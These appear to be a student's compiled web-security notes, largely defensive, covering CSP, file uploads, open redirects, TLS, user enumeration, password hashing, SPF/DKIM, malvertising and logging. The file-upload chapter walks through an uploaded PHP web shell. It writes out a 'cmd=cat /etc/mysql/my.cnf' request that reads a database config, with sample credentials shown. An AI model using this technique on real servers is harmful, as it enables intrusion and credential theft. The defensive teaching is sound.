Be even more careful if untrusted content is being inserted into <script> or <style> tags on a page. Escaping in these scenarios needs special consideration, and if your choice of tools doesn’t have stylesheet and script encoding available by default, consider using a [dedicated tool](https://owasp.org/www-project-enterprise-security-api/" \t "_blank).

Whitelist Values

If a particular dynamic data item can only take a handful of valid values, the best practice is to restrict the values in the data store, and have your rendering logic only permit known good values. If a URL expects a “country” parameter in the URL, for instance, make sure it is only permitted to take on one of a list of valid enumerated values.

Implement a Content-Security Policy

Modern browsers support [Content-Security Policies](http://www.html5rocks.com/en/tutorials/security/content-security-policy/) that allow the author of a web-page to control where JavaScript (and other resources) can be loaded and executed from. XSS attacks rely on the attacker being able to run malicious scripts on a user’s web page - either by injecting inline <script> tags somewhere within the <html> tag of a page, or by tricking the browser into loading the JavaScript from a malicious third-party domain.

By setting a content security policy in the response header, you can tell the browser to never execute inline JavaScript, and to lock down which domains can host JavaScript for a page:

|  |
| --- |
| **Content-Security-Policy: script-src 'self' https://apis.google.com** |
| By whitelisting the URIs from which scripts can be loaded, you are implicitly stating that inline JavaScript is **not** allowed. |

The content security policy can also be set in a <meta> tag in the <head> element of the page:

<meta **http-equiv**="Content-Security-Policy" **content**="script-src 'self' https://apis.google.com">

**This approach will protect your users very effectively!** However, it may take a considerable amount of discipline to make your site ready for such a header. Inline scripts tags are considered bad practice in modern web-development - mixing content and code makes web-applications difficult to maintain - but are common in older, legacy sites.

To migrate away from inline scripts incrementally, consider makings use of [CSP Violation Reports](https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Using_CSP_violation_reports). By adding a report-uri directive in your policy header, the browser will notify you of any policy violations, rather than preventing inline JavaScript from executing:

|  |
| --- |
| **Content-Security-Policy-Report-Only: script-src 'self'; report-uri http://example.com/csr-reports** |

This will give you reassurance that there are no lingering inline scripts, before you ban them outright.

***Ch 7 )*** ***File upload vulnerabilities***

Should be dealt with caution, easy way for hacker to inject malicious code into your app. First, file upload functions are a favorite target for hackers, because they require your site to take a large chunk of data and write it to the disk.

It gives attackers the opportunity to smuggle malicious scripts onto your server. If attackers can find a way to execute those scripts, the system might get compromised.

Instance : Bad is a hacker that has signed up for a website running on a popular CMS ( content management system). Images and uploads functions have vulnerabilities :   
  
1) Firstly, uploaded files do not get renamed as part of the upload process. The file name appears in the URL of the profile image when it is published. Then, first type checking is done in JS. Bad just need to writes a simple script called hack.php   
  
When this web shell is executed by PHP, i twill run any command passed in the « cmd » parameters. After, he disables JS in his browser and uploads hack.php as his profile image. Since JS is disabled, the file type is not checked. The images appears as broken but the malicious script is now living on the server. Dropping the url of the profile image in the browser adress bar causes the script to be executed. In fact, any command passed in the « cmd » parameter will get executed on the server. The attacks has created a command execution vulnerability. Access is then given to sensitive datas on the server by for instance passing the locate my.cnd incommand to find a database config file.

php ?cmd = cat / etc/mysql/my.cnf returns :   
  
[client]

user=admin

password=0d98f192deb08194abef9e81849b0b04

db\_name=331f295419a7507fd0c37feb9b9ad8d4

host=ec4-179--48.compute-96.amazonaws.com

port=2323

[mysql]

no-auto-rehash

connect\_timeout=3  
  
  
  
  
**A) protecting ones against file uploads vulnerabilities**

**protecting your file uploads**

**File uploads represent a easy way for an attacker to inject malicious code into your application.** You need to ensure uploaded files are kept at arm’s length until they are fully secured, or else you risk creating an easy route to having your systems compromised.

risks

**Sophisticated hackers typically exploit a combination of vulnerabilities when attacking your site – uploading malicious code to a server is step one in the hacker playbook.** The next step is finding a way to execute the malicious code.

Even [big companies](https://threatpost.com/ebay-fixes-file-upload-and-patch-disclosure-bugs/111898) fall foul to this vulnerability, particularly if they are running complex, legacy code bases.

protection

Any input coming from a user ought to be treated with suspicion until it has been guaranteed to be safe. This is particularly true of uploaded files, because your application will typically treat them as a big blob of data at first, allowing an attacker to smuggle any kind of malicious code they desire onto your system.

**Segregate Your Uploads**

File uploads are generally intended to be inert. Unless you are building a very particular type of website, you are typically expecting images, videos, or document files, rather than executable code. If this is the case, making sure uploaded files are kept separate from application code is a key security consideration.

**Consider using**[**cloud-based storage**](http://aws.amazon.com/s3/)**or a**[**content management system**](https://www.hacksplaining.com/glossary/content-management-systems) to store uploaded files. Alternatively, if you are sure of your ability to scale your backend, you could write uploaded files to your database. Both of these approaches prevent accidental execution of an executable file.

Even storing uploaded files on a remote file server or in a separate disk partition helps, by isolating the potential damage a malicious file can do.

**Ensure Upload Files Cannot Be Executed**

However you end up storing your uploaded files, if they are written to disk, ensure they are written in such a way that the operating system knows not to treat them as executable code. Your web server process should have read and write permissions on the directories used to store uploaded content, but should not be able to execute any files there. If you are using a Unix-based operating system, make sure uploaded files are written without the “executable” flag in the file permissions.

**Rename Files on Upload**

Rewriting or obfuscating file names will make it harder for an attacker to locate a malicious file once they have uploaded it. Uploaded files are generally made available back over HTTP – what’s the point of uploading an image if it isn’t available anywhere on your site, for instance? Implement a method of indirection when serving the uploaded content back in the browser, so the content is not referenced by its name from the original upload.

**Validate File Formats and Extensions**

Make sure you check the file extension of uploaded files against a white-list of permitted file types. Do this on the server-side, since client-side checks can be circumvented.

**Validate the Content-Type Header**

Files uploaded from a browser will be accompanied by a Content-Type header. Make sure the supplied type belongs to a white-listed list of permitted file types. (Be aware that simple scripts or proxies can spoof the file type, though, so this protection, while useful, is not enough to dissuade a sophisticated attacker.)

**Use a Virus Scanner**

Virus scanners are very adept at spotting malicious files masquerading as a different file type, so if you are accepting file uploads, running up-to-date virus scanning is strongly recommended.

other considerations

**Check File Sizes**

A cheap and easy way to perform a [denial-of-service](https://www.hacksplaining.com/glossary/denial-of-service-attacks) attack is to upload a very large file, in the hope that the server runs out of space. Make sure you put a maximum size on the size of the files you accept.

**Sanitize Filenames**

Overlong filenames could be abused to exploit **buffer overflow** vulnerabilities. Similarly, files with special characters in the name can cause weird behaviour, depending on how they are treated by your software. It is good practice to ensure file names are sanitized before being written to disk.

**Be Careful with Compressed Files**

If your site accepts compressed content, such as zip files, be aware that it is possible to create malicious archive files designed to crash or render useless the program or system reading them. A **zip bomb** is crafted so that unpacking it will take up a large amount of time, disk space, or memory – typically, the zip will expand to be huge on disk when unpacked. Don’t deal with compressed content unless you absolutely have to, and make sure to run an anti-virus scanner if you do!

***CH 8 open redirect :***

Most web app make use of redirects. If your site forwards to URLs supplied in a query string, you could be enabling phishing attacks. Let’s see you you might be helping email scammers.   
  
An open redirect is where your application redirects the user to a URL supplied from an un trusted source, without, checking the validity of that URL. Open redirects are often used in phishing attacks, attacks where malicious links are sent out in emails, in an attempt to trick users into visiting a harmful site. By sending out a link that points to your website but immediately derirects to a malicious site, attackers can circumvent anti phishing measures put in place by email providers.   
  
How is the attack working ? Bad is a hacker that noticed your site performs a derirect after login. Normally this is a useful feature, but your site does not check the URL of the redirect location. Bad than crafts a url that redirect to his malicious website. To make the attack less obvious, he encodes the redirect parameter and adds some superfluous parameters to the query string.   
  
Than, Bad sends this URL to VIKA in an email. The link is to your website, which is not black listed as a malicious site by Vikas email provider, so no alarms go off when th email is scanned. Vika will click the link since she is not currently logged in, the website presents him with the login page.   
  
Immediately after Vika logs in, the redirect parameter is processed. The site does not do any check on the URL described in the ‘next parameter’ . Vika is then redirected to the harmful site, she has been phished !

**A) how to protect against malicious redirects ?   
  
reventing malicious redirects**

If your site permits open redirects, you may be unknowingly helping attackers take advantage of your user base.

risks

Redirects are a useful function to have when building a website. If a user attempts to access a resource before they are logged in, it is conventional to redirect them to the login page, put the original URL in a query parameter, and after they have logged in, automatically redirect them to their original destination. This type of functionality shows you are putting thought into the user experience, and is to be encouraged. However, you need to be sure anywhere you do redirects, they are done safely – otherwise you are putting your users in harm’s way by enabling [phishing attacks](https://www.hacksplaining.com/glossary/phishing).

Modern web-mail services are very good at spotting spam and other types of malicious messages. One detection method they use is to parse the out-bound links in HTML emails. These links are compared to a black-list of banned domains; if the domain is deemed to be malicious, the email is redirected to the junk folder.

This is why spammers and phishers find **open redirects** so enticing. If they can “bounce” a user off your website (an apparently valid domain), their messages are less likely to be marked as malicious. If the user clicks on the link, they will see your website in the link, but they will end up at whatever site the attacker wants to direct them to. A confused user might download malware or worse, because of the trust they put in your site!

protection

Disallow Offsite Redirects

You can prevent redirects to other domains by checking the URL being passed to the redirect function. Make sure all redirect URLs are **relative paths** – i.e. they start with a single / character. (Note that URLs starting with // will be interpreted by the browser as a protocol agnostic, absolute URL – so they should be rejected too.)

If you do need to perform external redirects, consider whitelisting the individual sites that you permit redirects to.

Check the Referrer When Doing Redirects

Redirects to URLs passed in query parameters should only be triggered by pages on your site. Any other sites triggering a redirect should be treated with extreme suspicion. As a second layer of defense, check that the Referer in the HTTP request matches your domain whenever you perform a redirect.

Check Client-Side Code Too!

Redirects can happen in client-side JavaScript, too! Validate any code that sets window.location, to ensure the URL is not taken from untrusted input.

**Interstitial Pages**

Some sites insert interstitial pages when the user is leaving the site – **“you are now leaving tinyrobotninjas.com, you will be automatically redirected in 5 seconds”.** This is a good defense against doppelganger domains – websites that have a very similar domain name, in order to trick the user into trusting them. If you implement an interstitial page that passes the URL in the query parameter, be sure to check the Referer header, or else they could be open to abuse.

**Aggregator Sites**

Aggregator sites often make use of redirects to do click-counting. URLs are chosen by the community, then when a user clicks on the link, the click-through count is incremented, and the user is redirected to their destination. If your site implements this type of functionality, redirects to external sites are part of doing business. Just be sure to check the Referer each time you do a redirect!

**CH 9** **unencrypted communication**

Insufficient encryption can make you vulnerable to  **man in the middle attacks** , be sure to use HTTPS wheneve transmiting any type of sensitive information.   
Transport layer security (TLS) is a cryptographic protocol that allows client server applications to communicate across a network in a way designed to prevent eavesdropping and tampering.   
  
Sensitives communication should alway be done over HTTPS, which is making use of the TLS protocol. On the other hand, hosting and renewing certificates requires a little maintenance. Its often tempting to get lazy about following best practices.   
  
You have thus to keep in mind what risks we run if we dont use encrypted communication. Lets look at a real world example of how hackers can take advantage of unencrypted communication though a man in the middle attack.   
  
The hacker is in a coffee shop with public wifi. There, he is laying his trap by setting up his own Wi FI hot spot with an ambiguous name, hoping to trick people into using it. His hot spot proxies traffic through to the internet but he also sets up a network sniffer so he can inspect any traffic as it passes through. Another random user is safe while he is staying in HTTPS link. However, as soon as this random visitor check a site that does not use encryption, the hacker will see the conversion and starts recording unsecured credentials and other sensitive information.   
  
**A) ensure correct encryption   
  
Encryption prevents an attacker from intercepting traffic sent between you and your users.** It is cheap and easy to implement, and an absolute necessity when transmitting sensitive data.

risks

Insecure Wi-Fi hotspots, [as illustrated in our exercise](https://www.hacksplaining.com/exercises/unencrypted-communication), are just one way enterprising hackers have found to take advantage of unencrypted communication. They may also try to sniff traffic within your network, and if they get access, inspect traffic going through compromised edge devices.

Any point between your server and the user’s browser is a potential weak-spot. Given the non-deterministic nature of internet routing, a lot of opportunities present themselves to an enterprising attacker.

protection

**Buy a certificate, install it, and configure your web server to use it.**

It’s really as simple as that. Web servers are typically able to serve the same content over HTTP (on port 80) and HTTPS (on port 443). Any non-trivial website should use HTTPS. [Facebook](https://www.facebook.com/notes/facebook-engineering/secure-browsing-by-default/10151590414803920/) and [Twitter](https://blog.twitter.com/2011/making-twitter-more-secure-https) use HTTPS by default, and this a good example to follow.

**But make sure you know how to force your web server to elevate to a secure connection, and do so whenever a user is authenticating or establishing a session.** A common way of enforcing this is to make sure that cookies are set to secure – that way, sessions can only be established over HTTPS.

If you are looking to add or renew a security certificate, [Let's Encrypt](https://letsencrypt.org/" \t "_blank) is a quick and easy way to install one. The project - sponsored by Mozilla, Facebook, and the Electronic Frontier Foundation - aims to make encryption ubiquitous across the web by eliminating payment, web server configuration and certificate renewal tasks. We highly recommend you take a look!

code samples

The code samples below illustrate how to elevate traffic to an HTTPS connection in various set-ups.

**What is TLS?**

TLS stands for Transport Layer Security. It is a cryptographic security protocol that is used to securely send information over the Internet. It guarantees that nobody can read sensitive information and it guarantees that the sender of the information is not forged.

**What is SSL?**

SSL stands for Secure Sockets Layer. It is a predecessor to TLS. All versions of SSL are insecure. Neither you nor any applications should ever use SSL. It is mentioned only for its historical significance.

**What is HTTPS?**

HTTPS is a secure version of the HTTP protocol. It is an extension of the HTTP protocol that implements TLS. It lets you securely access websites and web applications. With HTTPS you can be sure that nobody reads your sensitive information and you can be sure that you accessing the real website and not a forged one.

**Why is TLS necessary?**

If you communicate without TLS, someone may easily perform a man-in-the-middle attack and intercept your communication. They can, for example, learn your passwords or steal your session cookie so that they can impersonate you. That is why many websites and web applications allow only communication using TLS (HTTPS).

***Ch 10 : user enumeration***

Many types of attack on the websites are concerned with bypassing the authentification system. Logging into a site usually requires that a user supply a username and a password. If the hacker can collect the list of usernames for a site, they have half the authentication information needed to access those accounts. To guess a password is harder but possible. An attacker will use tools to brute force common pwd. Or, if your usernames are email addresses, they mgiht use social engineering to trick user sinto revealing their password. Your site will be more secure if an attacker cannot probe it for usernames. Lets look at some common ways that sites leak information about what is and is not a valid username.   
  
Lets say that your login page has different error msgs for unrecognized usernames and incorrect psw , an attacker can write a script to submit usernames and test the response. Safer approach would be to return a generic error message when a login attempt fails. If its longer to check a correct username and an incorrect password, a clever attacker will be able to spot the difference.   
  
You thus have to make sure that all login code-paths take about the same time on average. For instance, perform time consuming operations like pwd hashing even when you know the username is wrong.   
  
Make sure that everything in the http response is identical in all login failure scenarios, too. Be sure not to respond with a cookie unless both the username and password are correct.

Headers

Preview

Response

Cookies

**▼ General**

**Request Method:**

POST

**Status Code:**

401 Unauthorized

**▼ Response Headers**

**Content-Type:**

text/html

Headers

Preview

Response

Cookies

**▼ General**

**Request Method:**

POST

**Status Code:**

401 Unauthorized

**▼ Response Headers**

**Content-Type:**

text/html

**Set-Cookie:**

session\_id=1429830

Then, pwd reset pages are another avenue for attacks. If somebody tries to reset a pwd for an unknown username, some sites will respond with a message indicating that the account does not exist, try to avoid that.   
  
If your pwd reset process involves sending an email, have the user enter their email adress. Then send an email with a pwd reset link if the account exists and a sign up email if its a new email adress.

Same deal with registration pages. Try to avoid having your site tell people that a supplied username is already taken. If your usernames are email addresses, send a pwd reset email when a user absentmindedly tries to sign up a second time.   
  
If usernames need to be unique, but are not email addresses, protect your sign up page with some sort of CAPTCHA. This will make it very difficult for an attacker to mine username information with a script. Moreover, if you are very security minded, con sider adding an  **exponential backoff**  after each failed login attempt, so subsequent retries take longer and longer.   
  
login\_failures = session[:login\_failures] || 0

sleep(0.0001 \* 2 \*\* login\_failures)

In the end, if each user is granted a unique URL ( for user profile pages lets say) make sure an attacker cannot enumerate usernames. It might seem like a good idea to differentiate responses with http 404 ( not found) and http 403 ( forbidden) but this leaks information.   
  
**A) avoiding user enumeration**

If an attacker can probe your site to test whether a username exists, it gives them a leg up in trying to hack your users’ accounts.

risks

Allowing enumeration of usernames is not a vulnerability in itself, but in tandem with other types of vulnerabilities – like the ability to [brute-force login](https://www.hacksplaining.com/glossary/brute-force-attacks) – it will compromise the security of your users.

protection

As shown in [our exercise](https://www.hacksplaining.com/exercises/user-enumeration), avoiding user enumeration is a matter of making sure no pages or APIs can be used to differentiate between a valid and invalid username, unless the matching password is supplied. To recap:

**Login**

* Make sure to return a **generic** “No such username or password” message when a login failure occurs.
* Make sure the **HTTP response**, and the **time taken** to respond are no different when a username does not exist, and an incorrect password is entered.

**Password Reset**

* Make sure your “forgotten password” page does not reveal usernames.
* If your password reset process involves sending an email, have the user enter their email address. Then send an email with a password reset link if the account exists.

**Registration**

* Avoid having your site tell people that a supplied username is already taken.
* If your usernames are email addresses, send a password reset email if a user tries to sign-up with an existing address.
* If usernames are not email addresses, protect your sign-up page with a CAPTCHA.

**Profile Pages**

* If your users have profile pages, make sure they are only visible to other users who are already logged in.
* If you hide a profile page, ensure a hidden profile is indistinguishable from a non-existent profile.

***ch 11 )*** ***Password mismanagement***

Pwd must be treated in the safest maneer possible. First thing to consider is : do you really need to build your own authentication system ? there are nice templates from fcbk, google, twitter, …   
  
Implementing a « login in with facebook » button offloads the complexity of authentication management to a trusted thir party and makes the login process very convenient for the users.   
  
Social media authentication is not suitable for all applications of course, if you make your own you have to consider your pwd complexity rules. Push your users to choose less obvious pwd. Moreover, pwd reset links should time out in a reasonable time frame. Imagine if a hackers gets access to your user’s email, the first thing they will do is try to compromise their other online accounts and long lived pwd reset links make this easier.   
  
After, never store pwd in oplain text, always use a one way hashing algorithm to encrypt your stored pwd. This will protect your users even if your database gets hacked. Then, choose a **strong hash like BCrypt** that will allow you to test the correctness of a password when a user re enters it but keeps it opaques to anyone who has database access.   
  
# Given a secret and a valid salt calculates

# a bcrypt() password hash.

**def** **self**.hash\_secret(secret, salt, \_ = **nil**)

**if** valid\_secret?(secret)

**if** valid\_salt?(salt)

\_\_bc\_crypt(secret.to\_s, salt)

**else**

raise Errors::InvalidSalt.new("invalid salt")

**end**

**else**

raise Errors::InvalidSecret.new("invalid secret")

**end**

**end**

**Strong password algorithms are widely available as open-source libraries**

You also have to « salt » your pwd meaning that you must add an element of randomness to each encrypted pwd so they cant be backwards engineered from lookup tables :   
  
# Generates a random salt with a given cost.

**def** **self**.generate\_salt(cost = **self**.cost)

cost = cost.to\_i

**if** cost > 0

**if** cost < MIN\_COST

cost = MIN\_COST

**end**

prefix = "$2a$05$C.E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW"

\_\_bc\_salt(prefix, cost, random\_bytes(MAX\_LENGTH))

**else**

raise Errors::InvalidCost.new("cost must be > 0")

**end**

**end**

**A good implementation will make adding salt easy**

Good pwd management needs to be paired with good session management. Remember to implement session timeouts or you risk having your users account compromised if they forget to press the « logout » button.   
  
Headers

Preview

Response

Cookies

**▼ General**

**Request Method:**

GET

**Status Code:**

200 OK

**▼ Response Headers**

**Content-Type:**

text/html

**Set-Cookie:**

session=IdfcNRUPvebr0l0ft

**For tips on secure session management, review our other exercises**

Then you also wanna consider whether you want browsers to cache pwd on your login page. There is a trade off between convenience and security here, think carefully what is most important for your application and be aware that browser settings or password manager plus ins may override your suggestion not to cache pwd.

<form **name**="login"

**method**="POST"

**autocomplete**="off">

[...]

</form>

**Use the "autocomplete" attribute to stop the browser remembering passwords**

Finally, make sure that your sites uses HTTPS and marks cookies as « secure » Unencrypted communication is vulnerable to network sniffing, meaning pwd could be stolen in transit by man in the middle attack.

**A) how to secure treatment of passwords**

**Secure authentication is essential to keeping your users safe.** This means dealing with passwords safely.

**If your user accounts get hacked easily, you quickly won’t have any users.** Ensuring strong authentication is a mix of pushing your users into good habits, and following them yourself. Attackers are constantly trying to find ways to bypass authentication, so you need to make sure you do not permit any vulnerabilities.

protection

Use Third-Party Authentication if Possible

The most secure code is the code that isn’t there! Consider using third-party authentication instead of building your own. Some commonly used implementations:

* [Facebook](https://developers.facebook.com/docs/facebook-login/)
* [Twitter Authenticatin](https://developer.twitter.com/en/docs/basics/authentication/overview)
* [Google Sign In](https://developers.google.com/identity/sign-in/web/sign-in)
* [LinkedIn](https://developer.linkedin.com/docs/signin-with-linkedin)

Integrating third-party authentication into your site will make sign-up seamless for your users, and completely remove a possible attack vector on your site. Modern authentication systems have detailed developer documentation, and SDKs for a variety of programming languages.

**Ensure Password Complexity**

Make sure passwords have a minimum length, and if your site deals with sensitive data, consider enforcing password complexity rules. This typically means requiring mixed-case letters, and requiring one or more numeric or symbol characters. You might also have a blacklist of “obvious” passwords, or ban passwords with too many repeating symbols.

**Allow Password Resets via Email**

The most secure way of implementing password resets is to allow users to send themselves reset links in email. Make sure reset links time out.

**Confirm Old Password On Reset**

If a user is already logged in and is resetting their password, have them confirm their previous password. This will protect your users if they leave themselves logged in to public computers.

**Prevent Brute-Forcing**

A common avenue of attack uses scripts that [repeatedly try to login](https://www.hacksplaining.com/glossary/brute-force-attacks) with known usernames and common passwords. This is computationally cheap, and many utilities exist to automate this attack. Large “password dumps” – leaks of passwords from historical hacks – give an attacker a good idea of what phrases people commonly use as passwords.

The first defense against this type of attack is to prevent [user enumeration](https://www.hacksplaining.com/exercises/user-enumeration). If you don’t give any feedback when a brute-force attack guesses a usernames correctly, you substantially increase the number of guesses needed to hack an account.

The second defense is to “punish” multiple failed login attempts with the same username. Very secure systems will lock the account until an administrator intervenes, but this is very manually intensive. Locking the account temporarily (even for just a few second or minutes) is often enough to make brute-force attacks ineffective. Otherwise, asking the user to perform an action to prove they are not a script – like solving a CAPTCHA – will do the trick.

Store Passwords With A Strong Hash, Salted

**Passwords should always be stored as salted hashes.**

A [hashing algorithm](https://www.hacksplaining.com/glossary/hashing) is a one-way transformation that obscures the original input, but can be used to test if the input is entered correctly again. By saving passwords in hashed form, even an attacker (or a malicious employee!) who gets access to your database cannot make use of the account details.

Hashing is a very positive step, but still vulnerable to an attacker able to generate a **rainbow table** – a list of pre-calculated hashes of common passwords. This type of **lookup attack** can be defeated by adding [salt](https://www.hacksplaining.com/glossary/salting) to the hash – an element of randomness that will make the same input create a different hash, but still usable to check the correctness of the input when entered again.

**Timeout Sessions After Inactivity, and Provide a Logout Function**

You can put all the security you want on the front door, but if you don’t allow users to close it when they are done, it’s all for nought. Provide a logout button, so users can leave their session when they are done interacting with your site. Moreover, if your site handles sensitive data, timeout the sessions after a period of inactivity. (Users frequently neglect to logout, after all.)

**Use HTTPS for Secure Communication**

Make sure you use [encrypted communication](https://www.hacksplaining.com/exercises/unencrypted-communication) when asking a user for their login details, or else their password can be stolen by a **man-in-the-middle attack.** Similarly, make sure all communication between your server and their browser after login is done over HTTPS, so their session cannot be hijacked.

**Ch 12 : Email spoofing**

Emails are sent via the simple mail transfer protocol. SMPT does not have a mechanism for authentification, so malicious actors often send emails using a spoofed « from » adress to mislead the recipient about the sender of the message. A common way to trick the user is by using pishing system. Beware because it can be redirected to a fake websites that asks you to re enter your password. You can help email service providers protect against pishing by :  
  
By changing your DNS records to list a Sender Policy Framework ( SPF), you can explicitly state which servers are allowed to send email from your domain. This will help flag spoofed emails sent by malicious actors.   
  
Mail can be sent from these addresses... ...but no others.

⬇ ⬇ ⬇

example.net. TXT "v=spf1 mx a:**pluto.example.net** include:**aspmx.googlemail.com** -all"

You can also implement  **Domain Key identified Mail ( DKIM such as proton for instance ),** you then will be able to prove that an email was legitimately sent from your domain and that is was not modified in transit.   
  
As a matter of fact, DKIM adds a digital signature to the email header. The mail receiving program will recalculate the signature on receipt to verify the mails is authentic and has not been tampered with :   
  
# @return [DkimHeader] Constructed signature for the mail message

**def** dkim\_header

dkim\_header = DkimHeader.new

raise "A private key is required" **unless** private\_key

raise "A domain is required" **unless** domain

raise "A selector is required" **unless** selector

# Add basic DKIM info

dkim\_header['v'] = '1'

dkim\_header['a'] = signing\_algorithm

dkim\_header['c'] = "#{header\_canonicalization}/#{body\_canonicalization}"

dkim\_header['d'] = domain

dkim\_header['i'] = identity **if** identity

dkim\_header['q'] = 'dns/txt'

dkim\_header['s'] = selector

dkim\_header['t'] = (time || Time.now).to\_i

# Add body hash and blank signature

dkim\_header['bh']= digest\_alg.digest(canonical\_body)

dkim\_header['h'] = signed\_headers.join(':')

dkim\_header['b'] = ''

# Calculate signature based on intermediate signature header

headers = canonical\_header

headers << dkim\_header.to\_s(header\_canonicalization)

dkim\_header['b'] = private\_key.sign(digest\_alg, headers)

dkim\_header

**end**

An implementation of the DKIM signature algorithm in Ruby.

**A) protecting against email spoofing**

**Email spoofing is the sending of email messages with a forged “from” address.** Using a spoofed email address is common tactic email scammers use to gain the trust of their victims. You need to make sure the emails your website and organization sends are marked as authentic.

risks

Over 95% of email sent over the internet consists of unwanted email: “spam”. Most spam uses spoofed addresses. If your domains are being used in spam messages, spammers may be taking advantage of your users to:

* **Steal their credentials** by sending “phishing” messages.
* **Trick them into falling for online scams** by abusing the trust they have in your site.
* **Spread malware** by sharing malicious attachments.

protection

As a website owner you should prevent your domains being used in spam mail by adopting both of the following approaches:

* **Implement the Sender Policy Framework (SPF):** publish a [DNS record](https://www.cloudflare.com/learning/dns/dns-records/) to explicitly state which servers are allowed to send email from your domain.
* **Implement Domain Key Identified Mail (DKIM):** use a [digital signature](https://www.hacksplaining.com/glossary/digital_signatures) to prove that outgoing email was legitimately sent from you domain, and that it wasn’t modified in transit.

There is also an emerging umbrella standard called **DMARC** (“Domain-based Message Authentication, Reporting & Conformance”) that you should be aware of. [Read more about DMARC here](https://dmarc.org/overview/).

Adopting these technologies also has the benefit that the emails you send are less likely to be marked as spam.

configuration

Implementing SPF and DKIM requires publishing new DNS records and making configuration changes to your technology stack - consult the documentation for your email sending service or software for details. Here are the relevant documentation links for some of the more common methods of sending email.

**Transactional Email Services**

Transaction emails are sent programmatically in response to actions on a website or application. If your site makes use of transactional email (during sign-ups or password resets, for example) you need to ensure you are sending authenticated mails. Here’s how to set up authenticated emails in the leading transactional email services.

* [Amazon Simple Email Service](http://docs.aws.amazon.com/ses/latest/DeveloperGuide/authentication.html)
* [Mailgun](https://documentation.mailgun.com/en/latest/quickstart-sending.html)
* [Mailjet](https://www.mailjet.com/docs/spf-dkim-guide)
* [Mandrill](https://mandrill.zendesk.com/hc/en-us/articles/360039236053-About-SPF-and-DKIM)
* [Postmark](https://postmarkapp.com/guides/dkim)
* [SendGrid](https://sendgrid.com/blog/a-dkim-faq/)
* [SendinBlue](https://help.sendinblue.com/hc/en-us/articles/209577385-Understand-SPF-DKIM-and-DMARC-protocols)

**Email Marketing Services**

Email marketing services allow bulk-sending of emails to targeted mailing lists. If your sales and marketing staff make use of this kind of service, you need to ensure they are sending authenticated mails.

* [ActiveCampaign](https://help.activecampaign.com/hc/en-us/articles/206903370-DKIM-SPF-and-DMARC)
* [AWeber](http://docs.aweber-static.com/pdfs/deliverability.pdf)
* [Benchmark](https://www.benchmarkemail.com/resources/email-marketing-articles/email-authentication)
* [MailChimp](http://kb.mailchimp.com/accounts/email-authentication/set-up-custom-domain-authentication-dkim-and-spf)

**Mail Transfer Agents**

If you organization hosts its own email servers, your system administrators will be making use of “Mail Transfer Agent” software. The most common MTAs are Microsoft Exchange (on Windows) and SendMail/Postfix (on Linux). Here’s how to implement authenticated email on those platforms:

* [Microsoft Exchange](https://blogs.technet.microsoft.com/fasttracktips/2016/07/16/spf-dkim-dmarc-and-exchange-online/)
* [SendMail](https://philio.me/setting-up-dkim-with-sendmail-on-ubuntu-14-04/)
* [Postfix](https://help.ubuntu.com/community/Postfix/DKIM)

***Ch 13) malvertising***Embedded adverts are the latest target for hackers. A complex eco system of ad networks and market places has developed to allow content providers to be matched with suitable advertisers. If your site includes adverting, you are in fact inviting a third party to add content to your web pages. Lets see how you might be inadvertently exposing your users to malicious code.   
  
Internet adverts are usually delivered via a « supply chain » of multiple nested services. This allows ad impressions to be resold and targeted to specific demographics, and reponse rates to be measured in real time.   
  
Each domain might be a target for a hacker. If they can compromise servers hosting or routing advertising, they have a large pool of potential victims, a much more effective attack surface than hacking a single website. A compromised server becomes a very effective way to spread malware because the attacker can target operating systems and browsers with known vulnerabilities.   
  
Since, only specifically vulnerable users are targeted, it can be very difficult for advertising networks to spot and infection. Hackers also use various tricks like delaying the deployement of the payload or only targeting every nth user to defeat automated scans.   
  
Recent trend is the growth of ransomware which locks up key files on the computer until a bitcoin ransom is paid.

**A) protecting against malvertising**

**Malvertising** (the delivery of malicious programs or deceptive adverts through ad networks) is one of the fastest growing security threats on the internet. As a site author, you need to be sure that any adverts you serve do not harm your users.

risks

Since hackers have discovered ad-networks as an attack vector, the variety of attacks a user can expect to encounter has exploded. These include:

* **Malicious downloads,** including ransomware. “Drive-by” downloads don’t even require the user to click on an advert - simply viewing the page may be enough to deliver the payload. Malware is usually delivered through vulnerable versions of Flash or Adobe Acrobat.
* **Redirects to phishing sites** that attempt to steal a user’s credentials.
* **Scareware** - adverts designed to trick a user into downloading unnecessary and potentially dangerous software, such as fake antivirus protection.
* **Browser lockers** - malware that locks up the browser, often posing as a security alert.

protection

When you host adverts, you are inviting a third-party to write content to your web-pages. Unfortunately, this means you are limited in how much control you have in protecting your users. You can mitigate the risks involved by:

* **Working with reputable ad networks.** Choose networks that are certified by e.g. Google. If you are evaluating a new ad network, see if they have any existing big-name clients. Avoid advertising networks that use deceptive practices pop-ups and pop-under windows.
* **Performing due diligence on agencies and advertisers.** Restrict your advertising to relevant market segments, and if your ad networks permits it, consider individually whitelisting advertisers.
* **Implementing a content security policy.** Implementing a [Content-Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) will help control what domains can host content used in your web-pages. Unfortunately, many advertising toolkits (e.g. Google Adsense) cannot be restricted in this fashion - so you may have to create a “soft” whitelist using the Content-Security-Policy-Report-Only header, and monitor unexpected domains.
* **Using client-side error reporting tools.** Tools for recording errors in the browser - like [Sentry](https://sentry.io/for/javascript/" \t "_blank), [TrackJS](https://trackjs.com/" \t "_blank), [Rollbar](https://rollbar.com/" \t "_blank) and [Airbrake](https://airbrake.io/" \t "_blank) - will help you detect unexpected and anomalous behavior that could indicate a malvertising infection.
* **Logging out-going URLs.** Capturing click-strings for adverts will help with forensic analysis in the case of a malvertising outbreak.

***Ch 14 :*** ***logging and monitoring***

Comprehensive logging and monitoring will tell you what your site is doing at runtime, which is key to spotting security events.   
  
It is important to be able to observe your web application at runtime, so you can detect issues as they occur and diagnose bugs. To do this effectively, you need to pay attention to how you implement logging and monitoring.   
  
Logging refers to having an application write a record of each event that occurs to a file on disk. These « log files » can be read by admins to analyse what the application was doing at a given point in time.   
  
**Web servers** typically log a record of each http request they handle, along with a timestamp, the URL and http method and the http response code. You should add logging statements to your code to record important events that occur. Each logging statement added to the log file should have a timestamp and be traceable to a given code file and line number.

sessions.py

**import** logging

**def** establish\_session(user\_id)

logging.info("Establishing session for user: {}".format(user\_id))

user = find\_user(user\_id)

if not user:

logging.error("Unable to find user {}!".format(user\_id))

**raise** UserNotFoundException(user\_id)

login\_user(user)

logging.info("Established session for user: {}".format(user\_id))

logging.debug("Last logged in: {}".format(user.last\_login\_time))

**return** user

tail -f ./application.log
